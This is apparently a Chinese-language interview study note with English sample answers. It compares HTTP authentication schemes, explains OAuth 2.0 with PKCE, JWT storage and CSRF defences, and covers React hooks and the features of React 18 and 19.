【无标题】

React / 安全 / 架构


1. 认证与授权(Authentication & Authorization)全面对比

1.0 核心概念(面试被问"认证和授权的区别"时第一句话这么答)

英文表达: "Authentication is about verifying WHO you are --- login with credentials. Authorization is about WHAT you are allowed to do --- permissions and access control. A token can carry both pieces of information."

中文理解:

  • 认证(Authentication):证明"你是谁"------登录、验证身份。
  • 授权(Authorization):证明"你能做什么"------权限、访问控制。
  • 一个 Token 里通常会同时携带这两种信息(比如 JWT 的 sub 代表身份,roles/scope 代表权限)。

1.1 对比总表(全部认证方案合并一张表,按实现原理展开)

英文表达:"Beyond the mainstream Basic/JWT/OAuth comparison, there's a whole spectrum of HTTP auth schemes --- some are credential-passing schemes (Basic, Bearer, API Key, Session Cookie), some are challenge-response schemes (Digest, NTLM), some are request-signing schemes (OAuth 1.0, AWS SigV4, Hawk, Atlassian ASAP), and some are federated/delegation protocols (OAuth 2.0, OIDC, SAML), and some are just local credential-storage conventions (Netrc). The key distinction I look for is: does the scheme transmit/replay the raw secret, or does it only transmit a proof derived from the secret (a signature or hash)? Signature-based schemes are inherently more resistant to interception even without TLS, but they're also far more complex to implement correctly."

中文理解: 下面这张表把常见的认证方案按"怎么实现验证"这个维度统一展开对比。可以先按原理分成五类理解:

  • 凭证直传型(Basic、Bearer Token、API Key、Session + Cookie)------把密钥/令牌本身(或其简单编码)放进请求里,服务端直接比对或查库。
  • 挑战-响应型(Digest、NTLM)------服务端先给一个"挑战值"(nonce/challenge),客户端用密码算出一个哈希值回传,密码本身不在网络上明文传输。
  • 请求签名型(OAuth 1.0、AWS IAM SigV4、Hawk、Atlassian ASAP)------客户端用密钥对"这次请求的内容"(方法、URL、时间戳等)做签名,服务端用相同/对应密钥重新计算签名来验证请求未被篡改、未被重放。
  • 联邦/委托授权型(OAuth 2.0、OIDC、SAML 2.0)------引入独立的授权服务器/身份提供方,客户端通过标准化流程换取令牌或断言,而不直接接触用户密码。
  • 本地凭证存储约定(Netrc)------本质不是网络协议,而是客户端本地怎么保存/取用凭证去配合上面某种协议(通常是 Basic)。
  • 另外 mTLS 比较特殊------它发生在 TLS 握手层,不在 HTTP 应用层传凭证,单独理解即可。
方案 怎么实现验证(原理) 凭证/令牌载体 是否无状态 复杂度 优点 缺点 典型适用场景
Basic Auth Authorization: Basic base64(username:password),服务端解码后与存储的密码(或其哈希)比对 请求头,base64 编码(可逆,非加密) 是(但密码每次都要传) 很低 浏览器原生支持(弹窗登录);实现几乎零成本 base64 可逆 = 等同明文,必须强制 HTTPS;没有过期时间;每次请求都重传密码;撤销只能改密码 内部工具、本地开发环境、配合 mTLS 的服务间调用
Session + Cookie 登录后服务端创建 Session,存到 Redis/DB,浏览器拿到 Set-Cookie,之后自动带上做比对 Cookie,浏览器自动携带 否------有状态,服务端要存 Session 低 实现简单,浏览器原生支持;服务端可随时主动使 Session 失效 扩容需要粘性会话或共享 Session 存储;有 CSRF 风险(需配合 SameSite、CSRF Token 缓解) 传统服务端渲染应用、同源 Web 应用
API Key 服务端预先签发一串静态字符串给调用方,每次请求直接携带,服务端查库/查缓存比对是否存在、是否被禁用 请求头 X-API-Key 或查询参数 ?api_key= 是 低 实现简单;天然适合标识"应用/租户"而非"用户",方便限流、计量、用量统计 明文等价传输(必须 HTTPS);没有内置过期/轮换机制;泄露即永久有效直到手动吊销;无法表达细粒度用户权限 开放平台/第三方 API 接入(地图、支付网关的初始鉴权)、服务间低敏感度调用
Bearer Token(通用) "持有即信任"------谁的请求里带着这个 Token,谁就被认为有权限;Token 可以是不透明字符串(opaque,查库校验)或自包含的 JWT(验签+查 exp) Authorization: Bearer <token> 是 低(使用侧)/ 中(签发校验体系) 使用方式极简、无状态、天然适合 SPA/移动端;是 OAuth 2.0 / OIDC 的标准令牌承载方式 Token 本身不对请求做签名------一旦被窃取(如 XSS),攻击者可在有效期内直接冒用,没有额外的防篡改机制;必须配合短过期 + HTTPS 现代 SPA、移动端调用后端 API、微服务间调用(配合 JWT)
JWT(作为 Bearer Token 的一种格式) 自包含的签名令牌 header.payload.signature,携带声明(用户 id、角色、过期时间等),验证时只需验签+查 exp,无需查库 Authorization: Bearer <jwt> 是------服务端不需要存会话状态 低(使用侧)/ 中(签发校验体系) 无状态、可水平扩展;可携带丰富声明(角色/scope) 过期前无法撤销,除非加黑名单或用短过期+刷新令牌;payload 没有加密只是签名(不能放敏感信息);令牌被盗 = 过期前都能冒充身份 SPA/移动端、微服务间无状态校验
Digest Auth 服务端先返回 401 + WWW-Authenticate 携带 nonce;客户端计算 response = MD5(MD5(user:realm:pass):nonce:MD5(method:uri)) 等哈希值回传,密码本身不上网络 请求头 Authorization: Digest ...(哈希值,不是明文密码) 是 中 相比 Basic,密码不以明文/可逆形式传输;nonce 提供一定的防重放能力 依赖已不安全的 MD5;实现和调试比 Basic 复杂很多;现代浏览器/框架支持和生态都在萎缩,基本被淘汰 遗留 HTTP 服务(老式路由器/打印机/摄像头管理界面),现代项目基本不选它
NTLM 微软的三次握手挑战-响应协议(Negotiate → Challenge → Authenticate),基于 Windows 账户密码的 NTLM 哈希做加密运算,密码本身不传输 专有二进制协议,通常经 HTTP WWW-Authenticate: NTLM 协商后走 TCP 层握手 否------需要维持握手会话状态 高 深度集成 Windows/Active Directory,域内用户可实现单点登录、无需重复输密码 协议复杂、仅适合 Windows 生态;安全性弱于 Kerberos,存在 Pass-the-Hash 等已知攻击面;不适合公网开放 API 企业内网、Windows 域环境下的 IIS / Exchange / SharePoint 认证
OAuth 1.0 对每个请求的方法、URL、参数、timestamp、nonce、consumer key 等一起做 HMAC-SHA1 签名,服务端用共享密钥重新计算并比对签名 请求头或参数里的签名字符串(oauth_signature),不传密码本身 是 高 即使没有 TLS,签名机制本身也能防篡改、防重放(nonce + timestamp) 签名算法对参数顺序/编码极其敏感,实现和调试成本高;已被绝大多数平台放弃,历史遗留居多 早期 Twitter API 等历史遗留系统,现代项目基本不再新选型
OAuth 2.0 授权委托框架 (不是认证协议):客户端通过某种 Grant(Authorization Code+PKCE、Client Credentials 等)向授权服务器换取 Access Token,代表用户访问资源而不暴露用户密码;之后请求只需带着这个 Token,本身不对请求内容签名,完全依赖 TLS 保护传输 Access Token 经 Authorization: Bearer 传递 取决于令牌类型(通常是 JWT) 中高 流程灵活、支持多种客户端类型;是当前行业标准,生态成熟(各大 IdP 原生支持) 完全依赖 TLS(Token 被截获即可在有效期内重放);实现复杂,Grant Type 选错本身就是安全风险(如 Implicit Flow 已废弃);需要维护独立的授权服务器 "用 Google 登录"、委托访问、SPA/移动端代表用户访问 API
OIDC(OpenID Connect) 构建在 OAuth 2.0 之上的一层轻量认证层 ,在 Access Token 之外额外签发一个 ID Token(JWT)来证明"用户是谁" ID Token(JWT)+ OAuth Access Token 是 中高 标准化了"认证"这一环,生态成熟(Azure AD / Okta 原生支持),一套协议搞定 SSO 复杂度和 OAuth 一样,还要额外校验 Token(签名、issuer、audience、过期时间) SSO 单点登录("用 Google/Microsoft 登录")、企业身份
SAML 2.0 基于 XML 的 SSO 标准:身份提供方对用户身份生成签名的 XML 断言,浏览器通过表单 POST 重定向把断言提交给服务提供方,后者验签后建立会话 浏览器 POST 重定向传递的 XML 断言 断言本身无状态,但常配合 Session 使用 高 企业级生态成熟,银行/政务等强合规场景广泛支持 XML 报文体积大,不适合 SPA/移动端,主要靠浏览器重定向,实现和调试成本高 企业级 SSO、银行、遗留 B2B 集成
mTLS(双向 TLS) 客户端和服务端在 TLS 握手阶段互相出示证书,用私钥签名挑战值证明自己持有对应证书 TLS 握手阶段的证书,不在 HTTP 应用层 是 高(证书管理成本) 请求级别的强身份保证,天然防中间人;不依赖应用层逻辑 证书签发、轮换、吊销的运维成本高;不适合浏览器端用户认证 零信任架构下的服务间调用、银行后端间通信
AWS IAM(SigV4 签名) 用 Access Key + Secret Key 对"规范化请求"(方法、URI、Query、Headers、Payload Hash、日期、区域、服务名)做多轮 HMAC-SHA256 签名,结果放进 Authorization 头;服务端用同样的密钥和算法重算比对,签名还带时效窗口 请求头 Authorization: AWS4-HMAC-SHA256 ...(签名值,密钥本身不传输) 是 高 请求级别签名,防篡改防重放;配合 IAM 策略可做到最小权限原则;支持 STS 临时凭证 规范化请求的编码规则繁琐,手写实现容易出错(一般用 SDK);基本只适用于 AWS 生态或兼容 SigV4 的服务 调用 AWS 服务 API(S3、DynamoDB、Lambda 等)、云原生服务间调用
Hawk Mozilla 推出的 HTTP 请求签名方案,类似轻量版 OAuth 1.0:用共享密钥对方法、URI、host、timestamp、nonce、可选的 payload hash 做 HMAC 签名,放进自定义 Authorization: Hawk ... 头,还支持对响应签名实现双向校验 请求头里的签名字符串(含 mac、nonce、ts) 是 中高 比 OAuth 1.0 实现更轻量;自带防重放(nonce+timestamp)和可选的 payload 完整性校验 生态小众,主要局限在 Node.js/Mozilla 相关项目;客户端服务端都要自行实现签名逻辑 Mozilla 相关内部服务、小型内部 API 需要请求级签名但不想上重量级 OAuth 的场景
Atlassian ASAP 服务间认证标准:调用方用自己的私钥 对一个短期 JWT 签名(iss 标识调用方服务,kid 指向其公钥),被调用方通过 JWKS 端点或预共享公钥库验证签名和过期时间------非对称签名,不需要共享密钥 Authorization: Bearer <signed-jwt> 是 中 服务身份清晰可追溯(基于 iss/kid);非对称签名天然避免共享密钥泄露风险;Token 通常只有几分钟有效期 主要是 Atlassian 内部/生态标准,业界通用度和知名度低;仍需维护密钥分发和 JWKS 端点等基础设施 Atlassian 产品线内部微服务间调用(如 Jira、Confluence 后端服务互调)
Netrc(.netrc 文件) 本质不是认证协议,而是本地凭证存储约定 :在用户主目录 ~/.netrc 里用明文保存 machine/login/password 三元组,curl/git/ftp 等命令行工具连接对应 host 时自动读取并用于 Basic Auth 等协议 本地文件(配合文件权限 chmod 600 保护),协议层通常还是 Basic 是 低 命令行/脚本自动化认证非常方便,无需每次手动输入密码,CI 流水线中很常见 明文密码存储在文件系统里,仅靠文件权限兜底;一旦主机被入侵凭证全部泄露;不支持过期/轮换 本地开发机或 CI 流水线里为 curl/git/ftp 等命令行工具自动提供认证凭证

面试总结话术(可直接用英文回答"这些方案怎么选"):

"My mental model is: transmission-based schemes (API Key, Basic, Bearer Token, Session Cookie) are simple but put all the trust in TLS --- if TLS is compromised or the secret leaks, it's game over until manual revocation. Challenge-response schemes (Digest, NTLM) avoid sending the password itself but are mostly legacy today, superseded by TLS + Bearer or Kerberos. Request-signing schemes (OAuth 1.0, AWS SigV4, Hawk, Atlassian ASAP) sign the actual request content, so even without TLS there's tamper/replay protection --- but that comes at a real implementation-complexity cost. Federated/delegation protocols (OAuth 2.0, OIDC, SAML) introduce a dedicated authorization server so the client never sees the user's raw password --- that's exactly why the industry converged on 'do the signing once at the OAuth 2.0 token-issuance step, then just pass a Bearer token over TLS for every subsequent call' rather than signing every single request. Netrc isn't really a competing scheme --- it's just how you store credentials locally to feed into Basic Auth for CLI tools."


1.2 深入讲解:OAuth 2.0

一句话定义(面试时可以直接说英文):

"OAuth 2.0 is NOT an authentication protocol --- it's an authorization delegation framework. It answers 'can this application access this resource on behalf of the user', not 'who is this user'. That's why OpenID Connect was built on top of it to add identity."

中文解释: OAuth 2.0 本质上不是 认证协议,而是授权委托框架。它回答的是"这个应用能不能代表用户访问某个资源",而不是"这个用户是谁"。这也是为什么后来又搞了一个 OpenID Connect(OIDC)叠加在它上面补充身份认证能力。

核心角色(面试可能要求你画图讲解):

  • Resource Owner(资源所有者)------用户本人
  • Client(客户端)------你的前端应用/第三方应用
  • Authorization Server(授权服务器)------签发令牌(如 Azure AD、Okta、Auth0)
  • Resource Server(资源服务器)------存放受保护数据的 API

授权类型(Grant Type)------要清楚什么场景用哪种:

授权类型 使用场景 2026 年的说明
Authorization Code + PKCE SPA、移动端、任何公开客户端 ✅ 现在的行业标准,SPA 也用这个(取代了 Implicit Flow)
Implicit Flow SPA(历史遗留) ❌ 已废弃------令牌暴露在 URL fragment 里,没法安全支持刷新令牌
Client Credentials 服务间调用,没有用户参与 机器身份认证,用于后端微服务间鉴权
Resource Owner Password Credentials 仅限遗留/高度信任的自家应用 ❌ 尽量避免------应用直接接触明文密码,违背 OAuth 的初衷
Refresh Token Grant 静默刷新 Access Token,无需重新登录 必须安全存储(httpOnly cookie,不能放 localStorage)

Authorization Code + PKCE 流程(React SPA 实际会用到的流程):
资源服务器(API) 授权服务器 React SPA 用户(浏览器) 资源服务器(API) 授权服务器 React SPA 用户(浏览器) #mermaid-svg-oUkrdCty3hvxh1A4{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-oUkrdCty3hvxh1A4 .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-oUkrdCty3hvxh1A4 .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-oUkrdCty3hvxh1A4 .error-icon{fill:#552222;}#mermaid-svg-oUkrdCty3hvxh1A4 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-oUkrdCty3hvxh1A4 .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-oUkrdCty3hvxh1A4 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-oUkrdCty3hvxh1A4 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-oUkrdCty3hvxh1A4 .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-oUkrdCty3hvxh1A4 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-oUkrdCty3hvxh1A4 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-oUkrdCty3hvxh1A4 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-oUkrdCty3hvxh1A4 .marker.cross{stroke:#333333;}#mermaid-svg-oUkrdCty3hvxh1A4 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-oUkrdCty3hvxh1A4 p{margin:0;}#mermaid-svg-oUkrdCty3hvxh1A4 .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-oUkrdCty3hvxh1A4 text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-oUkrdCty3hvxh1A4 .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-oUkrdCty3hvxh1A4 .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-oUkrdCty3hvxh1A4 .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-oUkrdCty3hvxh1A4 .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-oUkrdCty3hvxh1A4 #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-oUkrdCty3hvxh1A4 .sequenceNumber{fill:white;}#mermaid-svg-oUkrdCty3hvxh1A4 #sequencenumber{fill:#333;}#mermaid-svg-oUkrdCty3hvxh1A4 #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-oUkrdCty3hvxh1A4 .messageText{fill:#333;stroke:none;}#mermaid-svg-oUkrdCty3hvxh1A4 .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-oUkrdCty3hvxh1A4 .labelText,#mermaid-svg-oUkrdCty3hvxh1A4 .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-oUkrdCty3hvxh1A4 .loopText,#mermaid-svg-oUkrdCty3hvxh1A4 .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-oUkrdCty3hvxh1A4 .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-oUkrdCty3hvxh1A4 .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-oUkrdCty3hvxh1A4 .noteText,#mermaid-svg-oUkrdCty3hvxh1A4 .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-oUkrdCty3hvxh1A4 .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-oUkrdCty3hvxh1A4 .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-oUkrdCty3hvxh1A4 .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-oUkrdCty3hvxh1A4 .actorPopupMenu{position:absolute;}#mermaid-svg-oUkrdCty3hvxh1A4 .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-oUkrdCty3hvxh1A4 .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-oUkrdCty3hvxh1A4 .actor-man circle,#mermaid-svg-oUkrdCty3hvxh1A4 line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-oUkrdCty3hvxh1A4 :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 生成 code_verifier 和 code_challenge 跳转到 /authorize(携带 code_challenge) 登录 + 授权确认页面 带着 authorization code 跳转回来 POST /token(code + code_verifier) 返回 Access Token(+ ID Token + Refresh Token) GET /api/data(Authorization: Bearer <access_token>) 200 OK + 数据

为什么需要 PKCE(面试常见追问):

英文表达:"PKCE (Proof Key for Code Exchange) prevents an attacker who intercepts the authorization code (e.g., via a malicious app on the same mobile device) from exchanging it for a token, because the token exchange requires a code_verifier that only the legitimate client generated and never transmitted except hashed."

中文理解:PKCE 防止的是"授权码被截获"这种攻击------即使攻击者(比如同一台手机上的恶意应用)截获了 authorization code,也无法兑换令牌,因为兑换阶段需要提供 code_verifier,这个值只有合法客户端自己生成并保存,过程中只传输过它的哈希值(code_challenge)。


1.3 深入讲解:JWT

结构: header.payload.signature ------ 三部分都是 base64url 编码,没有加密,任何人都能解码看到内容。

json 复制代码
// Header
{ "alg": "RS256", "typ": "JWT" }

// Payload(声明 claims)
{ "sub": "user123", "roles": ["admin"], "iat": 1733900000, "exp": 1733903600 }

// Signature = sign(base64(header) + "." + base64(payload), secret/privateKey)

面试重点表达:

  • 尽量不要把 JWT Access Token 存在 localStorage ------页面上任何脚本都能读到它,一旦出现 XSS 漏洞 = 令牌瞬间被盗。最佳实践:刷新令牌放在 httpOnly、Secure、SameSite=Strict 的 Cookie 里;短期存活的 Access Token 可以放内存(JS 变量/React Context),不做持久化存储。
  • 永远在后端校验 :签名、exp(过期时间)、iss(签发者)、aud(受众)。前端对 JWT payload 里的内容只能当展示用的信息(比如显示用户名),不能作为权限判断的信任边界------真正的权限判断必须由后端在每次请求时独立校验。
  • 对称(HS256)vs 非对称(RS256):HS256 签发方和校验方共享同一个密钥(适合单体后端);RS256 用私钥签名、公钥校验------更适合微服务架构,因为多个服务可以只用公钥校验,不需要持有签名密钥。
  • Access Token vs Refresh Token:Access Token 短期有效(5-15 分钟),Refresh Token 有效期更长、使用后轮换(rotation)、存储更安全、可在服务端撤销。
  • 撤销问题:JWT 本身无状态,没法像 Session 那样直接"登出即失效",除非额外做工程处理------解决方案:短过期时间 + Refresh Token 轮换机制,或者针对关键场景(如账号被盗)维护一个服务端黑名单。

1.4 Basic Auth vs API Key vs JWT vs OAuth ------ 面试总结性话术

英文表达:"If I had to rank them by what they actually represent: Basic Auth proves a password, every single request --- simplest, weakest, use only over TLS and ideally only server-to-server or internal tools. API Key identifies an application , not a user --- good for rate-limiting and tracking usage, but not fine-grained user authorization. JWT is a token format --- it can carry rich claims (user, roles, scopes) and be verified without a database round-trip, which is great for stateless, horizontally-scaled systems. OAuth 2.0 is the protocol/framework that defines HOW a client obtains a token (often a JWT) safely, with user consent, without ever seeing the user's password. It's the 'process', JWT is often the 'format' of what comes out of that process. OIDC then sits on top of OAuth to standardize authentication (who is the user), since OAuth alone only covers authorization. In a real banking-grade frontend, I'd expect: OIDC/OAuth 2.0 with Authorization Code + PKCE for user login (via Azure AD/Okta), short-lived JWT access tokens in memory, refresh token in httpOnly secure cookie, and the backend (BFF or API Gateway) doing all signature/expiry validation --- the frontend never trusts a token's content for actual authorization decisions, only UI hints."

中文理解要点:

  • Basic Auth:每次请求都验证密码------最简单也最弱,只能在 TLS 下用,适合内部工具或服务间调用。
  • API Key:标识"应用"而非"用户"------适合限流和用量统计,但没法做细粒度用户授权。
  • JWT:是一种"令牌格式"------能携带丰富声明(用户、角色、scope),无需查库就能校验,适合无状态、水平扩展的系统。
  • OAuth 2.0:是"协议/框架"------定义了客户端如何安全地获取令牌(通常是 JWT),且不暴露用户密码。可以理解为 OAuth 是"获取令牌的过程",JWT 常常是这个过程产出的"令牌格式"。
  • OIDC:在 OAuth 基础上标准化"认证"(用户是谁),因为 OAuth 本身只管授权。
  • 在真正的银行级前端项目里,期望的方案是:用户登录走 OIDC/OAuth 2.0 的 Authorization Code + PKCE (对接 Azure AD/Okta),短期 JWT Access Token 存内存 ,Refresh Token 放 httpOnly secure cookie ,后端(BFF 或 API 网关)负责所有签名/过期校验------前端永远不会把令牌内容当作真正的授权依据,只用来做 UI 展示提示。

1.5 常见追问与参考答案

问:你会把 JWT 存在 React 应用的哪里?为什么?

英文:Ideally not in localStorage or sessionStorage, since any injected script (XSS) can read it. Best practice is a Backend-for-Frontend (BFF) pattern: the browser never sees the raw access token --- the BFF holds it server-side and exchanges it for an httpOnly session cookie. If a BFF isn't available, keep the access token in memory (a module-level variable or React context, not Redux persisted to storage) and keep only the refresh token in an httpOnly, Secure, SameSite cookie.

中文:理想情况下不放 localStorage/sessionStorage,因为任何注入的脚本(XSS)都能读取。最佳实践是 BFF(Backend-for-Frontend)模式:浏览器根本看不到原始 access token,BFF 在服务端持有它,换成 httpOnly 的 session cookie 给浏览器。如果没有 BFF,就把 access token 放内存(模块级变量或 React Context,不持久化到 Redux store),只把 refresh token 放 httpOnly、Secure、SameSite 的 Cookie 里。

问:React 应用怎么处理令牌过期(静默刷新)?

中文:用 Axios/fetch 拦截器------收到 401 时暂停其他请求,调用刷新接口(refresh token 在 httpOnly cookie 里自动带上),拿到新的 access token 后重试原请求。要加锁/互斥机制,防止并发的多个 401 同时触发多次刷新调用。

问:SPA 和传统服务端渲染应用在认证/会话管理上有什么区别?

中文:传统服务端渲染应用通常用 Cookie + 服务端 Session(有状态)------浏览器只需带 Cookie,服务端查会话数据。SPA 直接和 API 对话,更倾向用无状态的 Bearer Token(JWT),因为没有整页刷新来承载会话状态,而且同一个 API 可能被多端(Web、移动端)调用。

问:如果用 Cookie 做认证,怎么防 CSRF?

中文:给认证 Cookie 设置 SameSite=Strict 或 Lax,加上 Secure + httpOnly,并对状态变更类请求加 CSRF Token(双重提交 Cookie 模式或同步器令牌模式)。放在 Authorization 头里的 Bearer Token 天然比 Cookie 更抗 CSRF,因为浏览器不会自动携带它。

问:Token 的 scope 和 role 有什么区别?

中文:Scope(如 scope: read:accounts)定义的是"这个令牌能做什么"------和 OAuth 绑定,资源层面的权限。Role(如 roles: [admin])定义的是"用户在业务领域里是谁",用于前端 UI 权限展示和后端 RBAC 校验。Scope 回答"这个令牌能不能调这个 API",Role 回答"这个用户能不能看到这个按钮"。


2. React 语法 / Hooks 深入

2.1 核心 Hooks 面试问题

useState vs useReducer 怎么选?

中文:简单、独立的状态用 useState;当状态更新逻辑复杂、多个值互相关联、或者下一个状态依赖前一个状态的多个字段时,用 useReducer 更清晰(类似 mini-Redux),尤其是表单状态、多步骤流程。

useEffect 的依赖数组为什么重要?常见坑有哪些?

  • 依赖项遗漏 → 闭包陷阱(closure trap),拿到的是过期的旧值(stale closure)。
  • 依赖项是对象/数组字面量 → 每次渲染都是新引用,导致 effect 无限触发------需要 useMemo/useCallback 包裹,或者把依赖拆成具体的原始值。
  • 清理函数(cleanup)忘记写 → 事件监听、定时器、订阅没有取消,造成内存泄漏或重复绑定。
  • useEffect 和 useLayoutEffect 的区别:useLayoutEffect 是同步执行,在浏览器绘制之前跑完,用于需要同步读取/修改 DOM 布局的场景(比如读取元素尺寸再定位 tooltip);useEffect 是异步,在绘制之后执行,不会阻塞渲染,绝大多数副作用场景用这个。

useMemo vs useCallback 的本质区别?

中文:useMemo 缓存的是"计算结果"(值),useCallback 缓存的是"函数本身的引用"。useCallback(fn, deps) 等价于 useMemo(() => fn, deps)。两者都只在依赖变化时重新计算/重新生成引用,核心目的是避免子组件(配合 memo)因为"引用变了"而发生不必要的重渲染。

useRef 的两大用途:

  1. 访问/操作真实 DOM 节点(比如 inputRef.current.focus())。
  2. 存储"不触发重渲染的可变值"------类似实例变量,比如记录上一次的值、定时器 ID、是否是首次渲染的标志位。

useContext 的性能陷阱:

中文:Context 的值一旦变化,所有订阅这个 Context 的组件都会重渲染,不管它们实际用到的是 Context 里的哪个字段。解决办法:拆分多个细粒度 Context;或者把 Context 的值用 useMemo 包裹防止每次渲染都生成新对象;高频更新的数据不要放 Context,用状态管理库或 Context + useSyncExternalStore 的组合实现选择性订阅。

自定义 Hook 的设计原则:

  • 以 use 开头命名(约定,ESLint 规则也依赖这个前缀识别 Hook)。
  • 只能在组件顶层或其他 Hook 内部调用,不能在条件语句/循环/嵌套函数里调用(Hooks 规则,依赖 React 内部按"调用顺序"管理状态)。
  • 一个自定义 Hook 应该做一件事,把可复用的"有状态逻辑"抽出来,而不是把一堆不相关的逻辑塞进一个 Hook。

Hooks 使用规则(Rules of Hooks)为什么存在?

中文:React 内部依靠 Hook 的"调用顺序"来关联每次渲染时的状态(用一个链表存储每次 Hook 调用对应的状态)。如果在条件语句里调用 Hook,不同渲染之间调用顺序可能不一致,会导致状态和 Hook 对应错乱。这也是为什么 ESLint 的 react-hooks/rules-of-hooks 规则要强制检查。


2.2 React 18 新特性

1. 自动批处理(Automatic Batching)

中文:React 18 之前,只有 React 事件处理函数内的多次 setState 会被批量合并成一次渲染;在 setTimeout、Promise、原生事件监听器里的 setState 不会批处理,每次都会单独触发渲染。React 18 引入 createRoot 后,所有场景 (包括异步回调、原生事件)里的 setState 都会自动批处理,减少不必要的渲染次数。

2. 并发渲染(Concurrent Rendering)与 Concurrent Features

中文:React 18 引入"并发特性",核心是渲染过程可以被中断、暂停、放弃或重用,不再是一次性同步完成。它本身不是一个开关,而是一套底层架构能力,支撑以下新 API:

  • useTransition:把某次状态更新标记为"非紧急"(transition),React 会优先处理用户输入等紧急更新,这个非紧急更新可以被打断、延后执行。典型场景:搜索框输入时,输入框本身的更新是紧急的,但搜索结果列表的重渲染可以标记为 transition,避免输入卡顿。

    tsx 复制代码
    const [isPending, startTransition] = useTransition();
    const handleChange = (value: string) => {
      setQuery(value); // 紧急更新,立刻生效
      startTransition(() => {
        setSearchResults(filterData(value)); // 非紧急,可被打断
      });
    };
  • useDeferredValue:延迟某个值的更新,效果类似防抖,但是由 React 调度而不是定时器实现,一样可以被更紧急的更新打断。

  • Suspense 支持数据请求 :配合支持 Suspense 的数据库(如 React Query 的 Suspense 模式、Relay)可以在组件树里"等待"异步数据,渲染 fallback,而不需要手写 isLoading 状态。

  • useId :生成稳定、跨服务端/客户端一致的唯一 ID,用于无障碍属性(aria-describedby 等),避免 SSR 水合(hydration)时 ID 不匹配报错。

  • useSyncExternalStore:给外部状态源(比如第三方状态库、浏览器 API)提供一个标准方式订阅并在并发渲染下保持数据一致性,是很多状态管理库(Zustand、Redux)适配 React 18 并发模式的底层机制。

3. createRoot 替代 ReactDOM.render

中文:ReactDOM.render 在 React 18 里仍可用但已废弃,不会启用并发特性。必须用 createRoot(container).render(<App />) 才能开启自动批处理、并发特性等新能力。

4. Strict Mode 行为变化

中文:开发模式下 React 18 的 StrictMode 会把组件挂载、卸载、再挂载 一次(故意的双重调用),用于提前暴露没有正确清理副作用的组件(为未来的"离屏渲染/状态保留"特性做准备)。这也是为什么升级到 React 18 后,有些项目会发现 useEffect 被执行了两次------这是预期行为,说明你的副作用清理函数没写对。


2.3 React 19 新特性

1. Actions(表单/异步操作的新范式)

中文:React 19 引入"Action"概念------可以把一个异步函数直接传给 <form action={...}> 或者通过 useActionState 管理,React 自动处理 pending 状态、错误、乐观更新,不用再手写一堆 useState 管理 loading/error。

tsx 复制代码
const [state, formAction, isPending] = useActionState(async (prevState, formData) => {
  const result = await submitForm(formData);
  return result;
}, initialState);

<form action={formAction}>
  <button disabled={isPending}>提交</button>
</form>

2. useFormStatus

中文:在表单内部的子组件中获取父级 <form> 的提交状态(pending、data、method),不需要手动通过 props 传递 loading 状态,常用于提交按钮组件。

3. useOptimistic

中文:实现乐观更新------在异步操作完成前,先假设它会成功,立刻更新 UI,等真正结果返回后再核对/回滚。常见场景:点赞、评论提交,提升交互反馈的"即时感"。

tsx 复制代码
const [optimisticLikes, addOptimisticLike] = useOptimistic(likes, (state, newLike) => state + newLike);

4. use() API

中文:一个全新的、可以在渲染过程中"读取" Promise 或 Context 的 API,和普通 Hook 不同的是,use() 可以 在条件语句/循环里调用(不受 Hooks 规则限制)。配合 Suspense,可以直接在组件里 const data = use(fetchDataPromise),等待异步数据,而不需要 useEffect + useState 的组合拳。

5. ref 作为普通 prop

中文:React 19 之前,函数组件要接收 ref 必须用 forwardRef 包裹。React 19 开始,ref 可以像普通 prop 一样直接在函数组件的参数里接收,不再强制需要 forwardRef(forwardRef 仍兼容,但新代码不必再用)。

6. React Compiler(原 React Forget)

